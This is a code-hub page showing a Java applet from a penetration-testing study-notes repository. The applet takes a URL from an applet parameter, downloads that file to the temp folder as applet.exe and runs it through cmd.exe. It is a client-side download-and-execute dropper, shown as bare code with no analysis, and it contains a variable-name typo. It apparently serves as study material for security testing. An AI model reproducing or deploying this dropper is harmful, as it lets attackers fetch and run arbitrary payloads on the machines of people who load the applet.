MCPcopy Create free account
hub / github.com/AnasAboreeda/Penetration-Testing-Study-Notes / Java

Class Java

archive/client_side/signed_applet.java:11–57  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

9import java.util.*;
10
11public class Java extends Applet
12{
13 private Object initialized = null;
14 public Object isInitialized()
15 {
16 return initailized;
17 }
18
19 public void init()
20 {
21 Process f;
22 try
23 {
24 String tmpdir = System.getProperty("java.io.tmpdir") + File.separator;
25 String expath = tmpdir + "applet.exe";
26 String download = "";
27 download = getParameter("1");
28 if (download.length() > 0)
29 {
30 // URL Parameter
31 URL url = new URL(download);
32 // Get an input stream for reading
33 InputStream in = url.openStream();
34 // Create a buffered input stream for efficiency
35 BufferedInputStream bufIn = new BufferedInputStream(in);
36 File outputFile = new File(expath);
37 OutputStream out = new BufferedOutputStream(new FileOutputStream(outputFile));
38 byte[] buffer = new byte[2048];
39 for (;;)
40 {
41 int nBytes = bufIn.read(buffer);
42 if (nBytes <= 0) break;
43 out.write(buffer, 0, nBytes);
44 }
45 out.flush();
46 out.close();
47 in.close();
48 // Execute downloaded file
49 f = Runtime.getRuntime().exec("cmd.exe /c " + expath);
50 }
51 } catch(IOException e) {
52 e.printStackTrace();
53 } catch(Exception exception) {
54 exception.printStackTrace();
55 }
56}
57}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected